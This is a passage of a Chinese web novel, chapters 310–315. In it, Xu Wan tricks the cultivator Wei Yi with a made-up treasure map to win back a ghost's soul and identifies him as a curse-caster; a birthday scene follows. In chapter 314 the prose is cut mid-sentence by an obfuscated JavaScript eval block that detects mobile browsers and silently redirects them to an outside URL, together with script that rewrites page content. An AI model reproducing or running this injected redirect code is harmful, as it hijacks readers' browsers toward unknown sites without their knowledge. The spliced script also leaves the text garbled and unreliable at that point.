当夏紫回到正厅,将此消息带给慕徐二人时,徐莞放下朱砂笔,微微伸了个懒腰。 “卫大人出关了?我还以为今晚要在贵府上宿一晚呢。” 夏紫:“……” 短暂尴尬的沉寂过后,夏紫依礼道:“侯爷,夫人,这边请。” 夏紫带领二人向沉心苑而去。踏进苑内,徐莞周身便渐渐升起了一种异样的感觉。 起初,她也说不清是哪里不对,但随着越往花园中走,这种感觉便越强。 直至望见坐在花园中石案旁的卫颐时,这种异样之感才达到顶峰。 徐莞低头望去,原来是腰间的小荷包内,有何物在不住跳动,似乎想要冲破小荷包奋跃而出。 但此时卫颐已从石案边站起身,向他们二人拱手道: “卫某见过侯爷、夫人!今日恰逢卫某闭关修炼,让二位久等了,还望侯爷夫人莫要怪罪。” 四月的天气乍暖还寒,夜里更是凉意渐起。 卫颐却依然仅着一件纤薄松垮的白袍,长发半披,无可挑剔的五官在微笑起来时,尽显无限俊美魅惑。 慕怀瑾面若凝霜地望了卫颐一眼,冷声漠然道: “本候今日陪同夫人前来。只要夫人不怪罪,本候便不追究了。” 而在卫颐与慕怀瑾交谈的同时,徐莞将手伸进小荷包中,一把握住了那个不住跳跃之物,低下头垂眸望去,但见是一个小瓷瓶。 徐莞在认出这瓷瓶时,心内蓦地一凛,只因她认出了,这瓷瓶中封存之物,就是从此前镜魔所处的铜镜上,收集来的黑气…… 慕怀瑾语毕,侧头望向身旁的徐莞,似在寻求她的意见。 却见徐莞低着头,一瞬不瞬望着腰间,身子僵直着一动不动。 “菀菀?菀菀?” 慕怀瑾又唤了她两声,徐莞才回过神来望向他,“嗯?” “怎么了菀菀?”慕怀瑾有些奇怪又担忧地问,因为他已看出徐莞神色中的异常。 徐莞的神色却很快恢复如常,先是向慕怀瑾微微摇头,“我没事怀瑾。” 而后将目光投向卫颐,客气又爽利地说:“我与卫大人同为道门弟子,自然明白您不时便要闭关修炼。今日能等到卫大人出关,已是我们的运气了。” 谁料,卫颐听后还未说话,从卫颐身后的花园中突然闪现出一道人影,对着徐莞便开口骂道: “徐莞!少在那装模作样!你们心里早已不知将我师父骂了多少遍吧!” 第310章 310.给下马威 “徐莞!少在那装模作样!你们心里早已不知将我师父骂了多少遍吧!” 慕徐二人循声望去,但见出现在卫颐身后的人,竟是一脸怒容的刘云蕊。 虽然三个月前他们便知,刘云蕊被卫颐收留。但今日见到她出现在卫颐身后,还称呼他为师父,慕徐二人还是不禁有些意外。 且今日一见,刘云蕊面色红润,身姿强健挺拔,目光犀利清明,已是一副侠女姿态,比之三个月前的她,简直是云泥之别。 唯一未变的,就是她瞪向慕徐二人,那恨之入骨的眼神。 看来几个月的修行并未令她看淡恩怨,戾气反而愈加重了。 且徐莞能看出刘云蕊身上有一抹不属于她的气息,不知是好是坏。 徐莞也不打算提醒她,毕竟此时不管她说什么,刘云蕊都不会信。 卫颐假意向刘云蕊呵斥一声,“云蕊不得无礼!” 刘云蕊闻言向阴影中后退一步,一双眼睛却还恶狠狠瞪着徐莞,似是恨不得将她剔骨削筋。 卫颐喝罢,再次和颜悦色向慕徐二人赔礼道:“云蕊乃在下新收的徒弟。是卫某教导无方,还请侯爷与夫人恕罪。” 徐莞斜都未斜刘云蕊一眼,神色如常道:“雌犬乱吠,我等难道还要反吠回去不成? 不过还请卫大人看管好你府上的畜牲。搁旁人只会以为犬吠代表的就是主人的意思。” “你说什么!”刘云蕊一听当即又喊了出来。 居然骂她是狗!还带着她师父一起骂!徐莞这贱人几个月未见,嘴巴是越来越贱了! “云蕊!”卫颐再次侧头低吼一声。 刘云蕊立在原地怒气冲冲地喘了一阵,才强忍住怒意退了回去。 在口舌上没占到便宜,刘云蕊深吸几口气,暗暗在心里把徐莞骂了八百遍,心想等着吧,待会儿看你还如何嚣张。 慕怀瑾冷冷瞥了刘云蕊一眼,不屑道:“卫大人,天色已晚。我们还是尽快谈正事,莫要因无关之人耽误彼此的时间。” 卫颐点头道:“好。不知侯爷与夫人今日前来是为何事?” “被魏志鸿杀害的汪焕清的魂魄,是在卫大人手上吧?” “是在在下处。侯爷是想要汪焕清的魂魄?” “正是。”慕怀瑾正色道:“汪焕清的魂魄是我夫人在书院阁发现的。当时便从他的口中得知了魏志鸿所造的孽。 此后我与夫人便收留了他,并承诺将魏志鸿绳之以法后,助他超度投胎。 可没成想,汪进士不知怎的从我夫人处逃脱,潜入皇宫当面向皇上陈辞真相。 之后本候便听闻是卫大人的徒弟,将汪进士的魂魄收服。本候便猜想,他的魂魄此时应在你这里。 所以今日特意前来拜访,请卫大人将汪进士的魂魄还给我们。” 卫颐听罢微微点头,依然温和道:“原来如此。侯爷与夫人放心,卫某得知汪进士的身份与遭遇后,并未为难于他。而是也着手助他超度投胎。 不过,在此之前,卫某发现他的魂魄受损,已于前些日子设阵法帮他修复魂魄。而修复魂魄少则需要半月,多则需一两个月。 因而今日怕是无法将汪进士的魂魄还给二位了。待魂魄修复完成,卫某自然会派人将汪进士的魂魄送至永嘉侯府。二位请回吧。” 卫颐说罢,立在后方阴影处的刘云蕊,望见慕徐二人面上略略愕然的表情,心中忍不住暗笑。 呵呵,想不到你们也有被人遛的一天吧。 你们越是着急想要什么,就偏偏不让你们得到。 想要汪焕清的魂魄?回去等上一两个月,磨磨你们的性子再说吧! 起初的错愕后,慕怀瑾望见刘云蕊面上得意,以及卫颐眼底那抹一闪即逝的邪肆时,才意识到他在故意刁难他们。 “汪进士的魂魄怎会受损?再说何种魂魄修复法事需要一两个月?本候怎从未听我夫人提起过?”慕怀瑾厉然道。 而后又向徐莞问:“菀菀,你可听过这修复魂魄的法事?” 徐莞向他抬起手微微摇头,示意慕怀瑾稍安勿躁。 卫颐这番话一听便知是拖延时间,故意不让他们轻易拿回汪进士的魂魄。 但若他们直接戳穿他的意图,与他大吵一番,不但会自降身价,而且卫颐也不一定就会将魂魄交还给他们。 因此徐莞让慕怀瑾莫急,自己已想到了一个绝佳的办法,定能让卫颐主动交出魂魄,同时还能试探他一番。 思及此,徐莞仰首望向卫颐,从容自若道:“卫大人真是有心了。 既然需要再等一两个月,那恰好这段时日,我便去寻找一番玉拂尘的下落。” 哪知,卫颐一听到“玉拂尘”三个字,原本悠然的神色蓦地一凛,“玉拂尘?可是紫霄观祖师爷尘元道长留下的玉拂尘?” “没错。”徐莞装作不知情的样子,好奇问道:“卫大人也听说过吗?” 卫颐点头,“对,相传紫霄观祖师爷尘元道长有一玉拂尘,有斩妖除魔、涤清道门之效。 尘元道长仙逝之前,将玉拂尘藏在了灵玙山的山水之间。 传言谁若是找到了玉拂尘,便可成为紫霄观至高无上的存在,可号令紫霄观所有弟子,亦可辨出忠奸,涤清紫霄观。 卫某早年去灵屿山搜寻过,但却一无所获。” 徐莞听后意味深长道:“想不到卫大人也对那玉拂尘有兴趣。你是想用玉拂尘号令紫霄观?” 卫颐摇摇头,似罂粟的唇边绽放出一抹不屑又略带讥讽的笑,“非也。我与紫霄观别无关系,为何要去号令紫霄观? 我想要玉拂尘,只因其是件强大的法器,想用它除魔救世而已。” “好一个除魔救世。卫大人还真是一心卫道,拯救凡人于水火之中。不过卫大人亲自去找都没有找到,看来这玉拂尘的确不是易得之物。” 徐莞说着,忽然话锋一转,带着抹欣喜与确幸道:“幸好我有师父留给我的地图,定能更容易找到那玉拂尘。” “什么地图?”卫颐蓦然一愣,徐莞所说的地图,显然引起了他的注意。 第311章 311.以其人之道,还其人之身 “什么地图?”卫颐蓦然一愣,徐莞所说的地图,显然引起了他的注意。 “就是标注了玉拂尘具体方位的地图。卫大人没听说过吗?”徐莞继续循循善诱。 卫颐微微摇头,“没有。真有这样的地图?” “那是当然。师父将这地图交给我时曾说过,青云观祖师爷与紫霄观祖师爷尘元道长私交甚好。 因而尘元道长临终前,选择将地图交由我青云观祖师爷保管。如此,这地图便由青云观弟子一代代传了下来。 在紫霄观清明鼎盛时,青云观弟子便妥善保守着这个秘密。而当紫霄观中出现奸佞违道者,青云观弟子就可利用这地图寻到玉拂尘,以此涤清紫霄观。” 说到此处,徐莞顿了顿,忽然正色道:“我觉得,如今是需要涤清紫霄观的时候了。” 一番话说罢,徐莞都佩服自己胡言乱语的本事。 竟能在须臾之间编出这样一段逻辑能自圆其说的故事,真不愧是得到了她师父的真传啊。 卫颐听完徐莞所言陷入沉思,显然是在考虑她说的是真是假。 二十多年前,卫颐还是紫霄观弟子时,便时常听闻甄观主邀请青云观观主来讲道。 甄观主也不时会亲自前往青云观请教道法及道学。 而甄观主请教的这位青云观观主,应该就是徐莞的师父。 所以依此看来,紫霄观与青云观关系亲近融洽,确实有迹可循。 那么紫霄观祖师爷将寻找玉拂尘的地图交给青云观祖师爷保管,也并非不可能。 思及此,卫颐暗暗望向徐莞。 若是她真有那地图,为何要此时说出来? 尽管卫颐还有些许疑虑,但玉拂尘对他的诱惑实在太大。 若是玉拂尘在手,他便可利用玉拂尘的力量重塑阿茵的真身,就不必借用他人的肉身了。 同时还可号令整个紫霄观,让甄观主臣服他在膝前,一报他当年被逐出师门之仇! 纠结片刻,卫颐还是忍不住问出了口,“慕夫人,卫某有个不情之请。可否让在下看一眼您所说的地图?” 徐莞心下暗暗一笑,总算上钩了。 “卫大人说的哪里的话。何止是让您看一眼,就算将那地图送给您,只要您开口,妾身都会考虑。” 卫颐未料到她竟会如此爽快,将信将疑道:“夫人为何愿意将地图送给我? 毕竟那地图十分珍贵。谁若是有了那地图,便能轻易获得玉拂尘。夫人您应妥善保管,不轻易将其示人才对。” “卫大人说的是。但您方才说了,获得玉拂尘后只是想除魔救世,拯救凡人于水火之中。 此种一心卫道之意,着实令妾身敬服。并且我相信正直如卫大人,得到玉拂尘后,定会帮我铲除紫霄观中的奸佞,涤清整个紫霄观。 因此这玉拂尘在我手里,和在卫大人手里并无区别。妾身愿意助卫大人寻到玉拂尘。” 此番话将卫颐听得心花怒放。果然千穿万穿,马屁不穿呐。 “夫人放心,卫某找到玉拂尘后定当帮您涤清紫霄观。” 卫颐说着略略拱手,而后又问:“不知那地图放置在何处?慕夫人何时方便转赠给在下?” “那个地图啊,就在我身上。” 徐莞说着,将手伸进小荷包中,随意抓了一张黄纸,手腕一翻,便将其变成一卷羊皮纸地图。 她本还想变出一个木盒,将羊皮纸地图装好。奈何时间有限,又在卫颐眼皮子底下,稍有出错就有可能引卫颐怀疑。 因此徐莞顾不得那么多,直接将变好的羊皮纸地图拿了出来。 卫颐见此眼睛都亮了,双眸紧紧盯着那卷羊皮纸,便要伸手去接。 没成想,徐莞的手又悄悄往回撤了些,卖关子道:“对了,我忽然想起师父曾对我说过,需将地图摆在祖师爷神龛之前供奉一段时日,才可显现出详细路线。 少则半月,多则一两个月。哎,看来今日怕是无法将此地图交给卫大人了。待地图供奉完成,妾身再派人将地图送到卫府。卫大人意下如何?” 刘云蕊在一旁听着,感觉徐莞这话越听越熟悉。 末了蓦地意识到,徐莞最后说的几句话,不正是卫颐方才对她说的吗! “……修复汪进士的魂魄少则半月,多则一两月……” “……二位请回吧。待汪进士的魂魄修复完成,卫某自然会派人将其送去永嘉侯府……” 岂有此理!徐莞这贱人分明是在用师父的话反过来内涵她师父! 既然刘云蕊都听得出来,慕怀瑾和卫颐又哪能听不出。 慕怀瑾低下头,以拳抵唇轻咳几声掩住即将出口的笑意,心道自己的小媳妇脑筋转得还真快,绕了如此大一圈,原来是为了暗讽卫颐。 卫颐的面色则瞬间变得很是奇怪,似羞恼却又强忍着未流露出来,最终定格为一个木然的表情,嘴角却在阴影中不易察觉地抽动了几下。 就在此时,刘云蕊又忍不住替卫颐骂道:“岂有此理!那地图分明就在你手上,还说什么要供奉一两个月,我看你就是在拖延时间不想给!” 看到刘云蕊破防的样子,徐莞心头大快,兴致盎然道: “哦?你说我拖延时间不想给?如此说来,卫大人说修复汪进士的魂魄需要一两个月,也是在拖延时间不想给喽?” “你!” “云蕊住口!”前方卫颐突然出声喝止。 卫颐自然听明白了徐莞的意思。徐莞想要的就是汪焕清的魂魄。 他今日需用那魂魄才能换来她手中的地图。 起初卫颐编出修复魂魄那番说辞,只是为了羞辱一番徐莞与慕怀瑾而已,实则根本没那回事。 而如今徐莞手中的地图显然比羞辱他们更重要。 更何况他留着汪焕清的魂魄也无用,还不如用其交换地图来的实在。 思及此,卫颐当机立断开口,“汪进士的魂魄想来修复了也快半个月了,说不定已修复完成。 云蕊,你去修炼阁里看看。若已完成便将汪进士的魂魄取过来。” 刘云蕊望着突然转性的卫颐难以置信,“师父,您怎么能……” 第312章 312.师父,你被耍了 “云蕊,你去修炼阁里看看。若已完成便将汪进士的魂魄取过来。” 卫颐此话一出,刘云蕊便猛然望向他,满眼的难以置信。 师父此言的意思,不就是让她将那魂魄取过来送给徐莞吗? 此前不是说好了要给徐莞和慕怀瑾下马威,如今怎么能如此轻易地就将魂魄给她双手奉上? 难道那份地图和玉拂尘,对师父就如此重要? “师父,您怎么能……”刘云蕊气急之下竟出言违抗卫颐的命令。 可还不等她说完,卫颐便侧头厉声喝止,“住口!你连为师的话都不听了吗?快去!” 被卫颐一吼,刘云蕊瞬时怔在当地,心中又惊又怒。 这还是平日里对她百依百顺的师父吗? 今日午后他送绿松石项链给她时,对她还是那么温柔宠溺。 难道这一切都是她的幻觉? “愣着做甚?还不快去!” 又一声厉喝传来,这一次卫颐似是真的动了怒,语声中都带着些许焦急。 刘云蕊被这声吼惊醒,愤然一哼便转身跑了开去,将汹涌而出的泪水掩在花木之后。 而后卫颐略略尴尬道:“云蕊性子急,望侯爷与夫人莫要见怪。” 徐莞意味深长道:“有何好见怪。她什么样我们最清楚。” 二人略坐了片刻,刘云蕊便沉着脸再次出现。 “师父,汪焕清的魂魄已修复完成。我为您取来了。” 她不带一丝情绪地说着,将一道收着汪进士魂魄的符纸交给卫颐。 卫颐接过后又立即转交给徐莞,“慕夫人,汪进士的魂魄在此。” 徐莞垂眸接过,当即便将符纸朝空处一掷,但见一股灰黑色的烟雾自符纸中飘出,渐渐汇聚成汪焕清的身影。 “侯爷,夫人!”汪焕清出来的第一时间,望见慕徐二人便激动地唤了一声。 但他很快意识到卫颐还在旁侧,便迅速收敛起情绪,不再言语。 慕怀瑾亦神色平静地说:“汪进士,我们已经知道你只身闯入皇宫是为了向皇上陈辞真相。 既然你并未伤到皇上,我们也不会怪罪于你。我夫人依然会帮你超度,助你转世投胎。” 汪焕清配合地向他们一拜,“汪某拜谢侯爷与夫人大恩!” “如此,你便随我们回去吧。”徐莞说着从小荷包中摸出一个小瓷瓶,将汪焕清的魂魄收入其中。 做完一切后,卫颐却还在一旁眼巴巴地盯着徐莞。 “慕夫人,现在是否可将那份地图赠予在下了?” 徐莞将小瓷瓶放进荷包中,本来都打算走了,差点把那“地图”给忘了。 “哦那份地图啊,”徐莞一本正经地说,“我方才不是说了吗,要将地图放在祖师爷的神龛前供奉一两个月,才能展现出详细路线。 所以就烦请卫大人再等上一段时间。地图供奉好后妾身自会派人给卫大人送过来的。侯爷,我们回府吧。” 卫颐:“???”不是说好了用魂魄换地图吗? 怎么我把魂魄给她,她却不给我地图? 耍我? 刘云蕊也愣在了原地。 直到慕怀瑾携徐莞一同离开此地,二人才回过神来。 “师父,那个贱人就这样走了?她没有把地图给您啊!她是不是在骗我们?”刘云蕊转至卫颐面前,急切地问。 卫颐的脸色一阵青一阵白。此时看样子他们的确被徐莞耍了。 但卫颐为保全作为师父的面子,就是嘴硬不承认。 “呃云蕊你多虑了,她会将地图给我的。” 刘云蕊这个没脑子的,丝毫未考虑卫颐的面子,当面戳破他道: “什么多虑,你根本不知道她的为人!我估计那地图也是她编出来骗我们的,根本就不存在! 师父您居然会相信她,还将那魂魄如此爽快就给了她。您真是糊涂啊!” 卫颐:“……”她竟敢说我糊涂?今后为师的威严还往哪放? “够了!”卫颐忍不住低吼一句,“为师知道你与他们有仇,但你不能将你的愤怒转嫁到为师身上。你这是以下犯上知道吗!” 刘云蕊愣住了,一瞬不瞬望着对她怒吼的卫颐,眼中渐渐起了一层水雾,三个月来头一次出现无比失望受伤的神色。 此时的师父是如此陌生,又是如此冷漠,好似高高在上怒视着她,令她不由得颤抖起来。 下一瞬,刘云蕊再也忍受不住,咬紧嘴唇转身便跑回了自己的房间。 卫颐见此也未去追她,而是怒哼一声在一旁的石凳上坐下。 回想起方才与徐莞之间的过招,卫颐不可否认自己或许确实被她骗了。 意识到这一点的卫颐,愤恨地一拳砸在身旁的石案上。 岂有此理!自己竟会被个黄毛丫头诓骗! 都怪自己太过重视玉拂尘,才会中了她的圈套。 可她是如何知晓我十分想要玉拂尘呢?难道她知道我曾是紫霄观的弟子? 一个接一个的疑问,令卫颐不敢再小觑徐莞这个后辈。 好在此次失去的仅是一个无足轻重的鬼魂。今后再对上她时,必要做好万全的准备。 想到这里,卫颐的思绪又飘到了方才哭着跑开的刘云蕊身上。 哎…他现在已开始怀疑留下这个女人是对是错了。 若不是她的肉身中装着的,是一缕来自异世的魂魄,卫颐才不会将她作为阿茵元神的容器,更不会收留她作为徒弟。 可如今没有再比刘云蕊更合适的容器,他只得容忍她的愚蠢和任性,柔声细语哄着她,让她放松警惕、心甘情愿被占据。 罢了,明日去将她安慰一番,省得她胡思乱想,一气之下离府出走。 思及此,卫颐起身再次向修炼阁而去。因为那里有他的阿茵。每晚只有见到阿茵后,他才能入睡。 === 与此同时,徐莞与慕怀瑾已坐在回府的马车上。 慕怀瑾又不禁称赞起自己聪慧机智的小媳妇来。 “菀菀,没成想你竟能想到这种法子将汪进士的魂魄要了回来。 你看到我们离开时卫颐的脸色了吗?呵呵简直太可笑了。” 徐莞小巧精致的下巴微扬,骄傲又狡黠地笑着说: “呵,他还想给我们下马威,我便将他的话原封不动还给他。看到他和刘云蕊懵圈的样子,真是解气。” 第313章 313.试探 “我将他的话原封不动还给他。看到卫颐和刘云蕊懵圈的样子,真是解气。” 望着小媳妇古灵精怪的模样,慕怀瑾不由得觉得她煞是可爱,禁不住抬手揉揉她的发顶,宠溺地笑道: “不愧是我的菀菀,不会让自己受一点委屈。” 徐莞淡定地傲娇道:“那是当然。能占我们夫妻便宜的人,还没出生呢。” “哈哈哈…”此话逗得慕怀瑾大笑了出来,爱不释手地扶着她的肩将她揽入怀中,“菀菀啊菀菀,你可真是我的宝啊。” 徐莞靠在慕怀瑾的胸口,感受着他胸腔的震颤与共鸣,心中没由来得便感觉无比雀跃。 稍后,慕怀瑾低下头问:“菀菀,你说的玉拂尘和地图都是真实存在的吗?还是说都是你编造出的?” “玉拂尘是真的,地图是我编的。本想试探试探他,没成想他竟如此想得到那玉拂尘。” “你是在试探他?”慕怀瑾疑惑地问,“你又是如何知道,该用玉拂尘试探他?” 听闻此话,徐莞从他怀中坐起身,望着他的眼眸一字一句道:“因为,卫颐曾经就是紫霄观的弟子,并且还被观主逐出了师门。” 慕怀瑾闻言一愣,“你是如何知晓的?是不是在见到他的那一刻,你察觉到了什么?” 慕怀瑾想起二人将将见到卫颐时,徐莞有一时间的失神。一定是那时她发现了什么。 徐莞微微点头,而后从小荷包中取出一个小瓷瓶。 “这里面装着我从定北王府那面被施了咒的铜镜上取下的黑气。若是这黑气靠近它的施咒人,就会有所反应。” 慕怀瑾立即意识到了什么,“难道,方才你一见到卫颐,这瓷瓶就有了反应?” “对。”徐莞的目光定在瓷瓶上,“所以我那时才怔忪了片刻,皆是因为我意识到卫颐就是那个利用镜魔,制造了镜中世界的人。” 慕怀瑾心头蓦地一震,目光亦不由盯紧了那瓷瓶,思绪不禁又徐徐蔓延开去。 “没记错的话,那面铜镜是从鄞玄母妃良妃娘娘的寝宫搬出来的。如此说来,卫颐给那面铜镜施咒,本是用来谋害良妃娘娘的。 可良妃娘娘性子温和内敛,为人宽厚谦逊,从不与人结怨,与卫颐更无直接利益关系。所以更有可能是有人指使卫颐这么做的。” “此言有理。”徐莞赞同道:“到底是谁指使他这么做呢?” 话至此处,慕怀瑾心中已隐约有了答案,“想谋害妃嫔的人,一定是另一位妃嫔。只需想想卫颐如今受到后宫哪位主子重用便知。” 经慕怀瑾一提醒,机智如徐莞即刻便想到了答案,“你的意思是……太后?” 慕怀瑾抬手抚了抚她的发顶,赞赏地望着她道:“不愧是菀菀。” 意识到这一点的徐莞,对太后顿时升起一股厌恶。 “没想到看似温柔和蔼的太后,心思竟如此深沉狠毒。” 慕怀瑾冷笑一声,“能坐上皇后和太后之位的女子,怎可能一点城府也无?” “这倒是。” 慕怀瑾又问起了另一件事,“对了菀菀,你又是如何知道卫颐曾是紫霄观弟子,还被逐出师门?” 徐莞微微一笑解释道:“师父曾在梦中对我说过,他在世时与紫霄观主交往颇深。听紫霄观主说起过观内有弟子因擅自修习禁术而被逐出师门。 我本未怀疑到卫颐身上。但那装着黑气的瓷瓶到了他身边起反应后,我便立即想到,那日我们是通过紫霄观后院的池塘进入了镜中世界。 那么有没有可能,那池塘也是被卫颐施了咒,变成了进入镜中世界的入口? 怀着这猜测,我便想到利用紫霄观至宝玉拂尘来试探试探他。 没成想卫颐果真对玉拂尘相当感兴趣,甚至丧失了判断力,连我那漏洞百出的谎话都深信不疑,还爽快地将汪进士的魂魄还给了我。 这让我更加确信,卫颐绝对与紫霄观有关,且很可能就是那个被逐出师门的弟子。” 慕怀瑾听后恍然大悟,缓缓点头,“原来如此。你的猜想并非没有道理。另外我还记得,那日我们去紫霄观时,那副观主有些可疑。 此后我回想起时,才意识到是他刻意将我们引到那池塘边的。所以那副观主或许与卫颐串通一气,亦或是听命于他。” 在二人不断分析之下,徐莞顿感卫颐的城府之深,并且身上还有许多他们不知晓的秘密。 “当发现某处有一只蟑螂时,那里的蟑螂一定早已泛滥成灾了。 因此紫霄观里定然还有更多卫颐的人。看来这紫霄观确实需要肃清一番了。” 徐莞喃喃了几句,而后抬眼目光炯炯地望向慕怀瑾,“怀瑾,我想去一趟灵屿山寻找玉拂尘。” 慕怀瑾爱怜地抚上她的脸颊,语声转轻了一些,嗓音低沉中透着一股如同哄心爱姑娘的柔情宠溺。 “好,你想做什么我都依你,并且我还会陪你一起去。只是,能不能等到你生辰过后再去?我和家人们都想为你庆祝这个生辰。” 徐莞未料到他会忽然说起此事,一时间怔了怔,“连娘和怀清怀灵他们也……” “对,他们都各自备了礼物。” 徐莞听罢轻柔又感激地笑了笑,“好。那便过完生辰再去。你到底为我准备了什么?我甚是好奇呢。” 慕怀瑾的手指滑到她的鬓边,将鬓角的碎发挽至耳后,再沿着她的耳廓滑至耳垂,捏着她的耳垂神秘道:“到时候你就知道了。” 徐莞闭上眼感受着他那略带粗糙的手指,在自己耳垂上缓缓磨砂,身子没由来得便涌起一股酥麻,心窝里也痒痒的。 她不知该如何形容这种感觉,好似被小猫毛茸茸的尾巴,不经意划过耳垂和脖颈时带起的那种痒感,令徐莞霎时羞赧地低下了头。 可片刻后,她又恍然意识到,慕怀瑾的手指为何会粗糙? 他又不是干粗活的人,并且从前他的手也还算柔软细腻。为何如今会如此粗糙? 第314章 314.神秘礼物 慕怀瑾又不是干粗活的人,并且从前他的手也还算柔软细腻。为何如今会如此粗糙? 如此想着,徐莞握住慕怀瑾的右手,将其拉了下来。 借着马车内摇晃的灯光望去,徐莞看到慕怀瑾右手食指和拇指的指腹,不知怎的被磨出一层薄茧。其余几个手指虽未起茧子,但也红红的。 她又拉过慕怀瑾的左手仔细看了看,发现左手的几个手指也与右手一样起了茧子。 “这是怎么回事?你的手……”徐莞不由得蹙起了眉头,眼底蕴着丝丝心疼与担忧。 “没什么…”慕怀瑾有些不自然地抽回手,仿若无事一般淡淡笑了笑,“男人的手怎能像女人一样光滑细嫩。” “可是…你之前也没这么糙啊。” 慕怀瑾:“……”这话说的,怎么好像我是个糙汉子似的。 “…总之你生辰那日就知道了。” 徐莞望着他那有些怪异的神色,隐约意识到,不会是又和生辰礼物有关吧? 他到底准备了多少礼物呀? 回到永嘉侯府已是深夜,府内众人皆已睡下。 慕徐二人回到松风苑,将汪焕清的魂魄放了出来。 “汪进士你还好吗?卫颐说你的魂魄受损是真的吗?” 徐莞与慕怀瑾立在庭院中,望着漂浮在半空中那个灰黑色半透明的魂魄问。 “我并未受伤,那都是卫大人编的,就是不想将我交给您。” 徐莞听后心内一紧,“那他们可有伤你或为难你?” “这倒没有。”汪焕清道:“卫大人可能仅想借我为难你们。” 汪焕清说罢,向慕徐二人跪了下去,“汪某多谢侯爷与夫人。你们还亲自上门向卫大人讨要我。汪某下辈子哪怕当牛做马都要报答侯爷和夫人的大恩!” “汪进士无需如此。”徐莞将他请起,“你只身入宫当面向皇上陈清事实,也帮了我们大忙。 况且我答应过你事毕后,会帮你和你家乡的父老乡亲超度投胎,就一定会做到。” “多谢夫人!多谢夫人呐!”汪焕清再次激动地向徐莞双手合十,连连拜谢。 慕徐二人又将他劝了一阵,他的心情才平复下来。 “好了汪进士,既然你已洗清冤屈,大仇得报,也该回到你的家乡与家人团聚了。 等过些时日我们将京城的事务处理完,就去嘉礼县帮你们超度。” “好。那汪某便先行告辞了。侯爷、夫人,我在嘉礼县等着你们。” 话毕,汪焕清向他们拱手一拜,随后便化为一股灰黑色的烟雾,飘向高远浩淼的苍穹。 慕怀瑾揽着徐莞的肩,一同抬首望着汪焕清的魂魄消失在天幕之间。 末了,慕怀瑾低下头轻叹一口气道:“魏志鸿一案的受害者,终是沉冤昭雪,回到了他的故乡。” “是啊,这两个月过得还真是惊心动魄。”徐莞说罢,禁不住张口打了个哈欠。 慕怀瑾心疼道:“看你都累成这样了,快回屋休息吧。” “你呢?还不睡吗?”徐莞睁着惺忪的双眼问。 慕怀瑾拍拍她的肩道:“你先睡。我还有些生意上的事要处理,处理完就睡。” “好吧。不要忙得太晚。处理不完明日再处理也可以。” 最近一段时日,慕怀瑾忙于魏志鸿一案及府上事务中。生意上的事便积压到了每晚深夜处理。 徐莞对此已**以为常,向他关切嘱咐了两句,便转身回了寝屋。 慕怀瑾目送她的身影消失后,也忍不住打了个哈欠。 其实他这些日子来也甚是疲惫困乏,可为了小媳妇的生辰礼物,慕怀瑾还是强撑起精神向书房走去。 想象着生辰那日,她看到自己准备的礼物时,会露出的惊喜感动之情,慕怀瑾便充满了动力。 坚持吧,再有两日便能完工,到时一定让菀菀感动到想以身相许。 === 不出十日,徐莞的生辰便到了。 这日一早,徐莞转醒后却不见慕怀瑾在身边。 他素来醒的早,应是已起身沐浴更衣了吧。 如此想着,徐莞起了身,忽见自己的几位贴身丫鬟与陈嬷嬷,齐齐立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695712|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床榻前,向她说起了吉祥话。 “夫人生辰安康!” “祝夫人身体健康,平安顺遂。” “祝夫人财源广进,青春永驻!” “望夫人与侯爷举案齐眉,快快怀上小世子,为侯府再续香火。” 最后一句一出,几个丫头都掩唇嗤笑起来,徐莞也不禁微微红了脸,装作愠怒道: “你们行了啊。一大早就敢这样调笑本夫人。” 几人连忙认错。徐莞也噗嗤一声笑了出来,“好了,我逗你们玩呢。” 说着,她向陈嬷嬷吩咐道:“陈嬷嬷,你将我梳妆台下面那个木匣子取出来。里面的金瓜子你们几个分分。” 陈嬷嬷应后取了匣子出来,打开后但见里面有一大把金瓜子。 几个小丫头一见,眼睛都亮了,每人从陈嬷嬷那里分到**颗,少说也有二三两金子了。 领了赏赐后,几个丫鬟和陈嬷嬷掩不住欢心雀跃,又嘴甜地向徐莞说了不少吉祥话。 “好了,就属你们嘴甜,今天我点心都不用吃了。”徐莞嗔怪道,而后向她们问:“侯爷呢?” “侯爷一大早就起了,说是要再去检查一下送给夫人您的生辰礼物有没有遗漏。”落棋答道。 “夫人,侯爷对您的生辰很是上心呢。听墨竹说,侯爷每晚都在书房挑灯为您准备礼物,已经连着十几日了。”若画一脸艳羡又甜蜜地说。 “是啊,”东珠亦跟着附喝,“您嫁入侯府这一年来,侯爷对您的好,我们这些下人都看在眼里。夫人您真是太有福气了。” 被几个丫头连着夸,徐莞先是感到些许害羞,随后,一股幸福之感便自心底油然而生。 这一年来,慕怀瑾对她确实没的说。 不仅尊重她除魔卫道、重振道观的志向,而且每每遇事,慕怀瑾都亲自陪她前往,甚至自学道法,只为在她危难时能以自己的微薄之力护她周全。 思及此,徐莞的心中又涌起一股说不清的悸动。 就在此时,丫鬟们惊喜的声音忽然响起,“侯爷回来了。见过侯爷!” 第315章 315.送你一座青云观 “侯爷回来了。见过侯爷!” 徐莞的思绪被丫鬟们的嗓音打断,她收回心神朝门口望去。 只见几位丫鬟嬷嬷齐齐向两侧退去,为那位气宇轩昂的男子,让出一片空地。 但见正垂眸踏入门槛的这位男子,身姿挺拔高大,举手投足间仪态万千。 一件绛紫色长袍穿在他身上,衬得他矜贵又不失威严。 踏入门槛后他徐徐抬起头,棱角分明的五官似女娲精心雕刻的杰作,那样精致完美,俊逸卓绝。 尤其是那双细长深邃的眼眸,如一汪澄净幽深的池水,平日里古水无波,不带一丝温度。 但在望向徐莞时,那汪池水却渐渐泛起一圈圈涟漪,如金色暖阳倒映在波光粼粼的水面,折射出点点潋滟波光。 “菀菀,你醒了。”慕怀瑾坚毅冷然的嘴角放松了下来,带起了一丝淡淡的笑意。 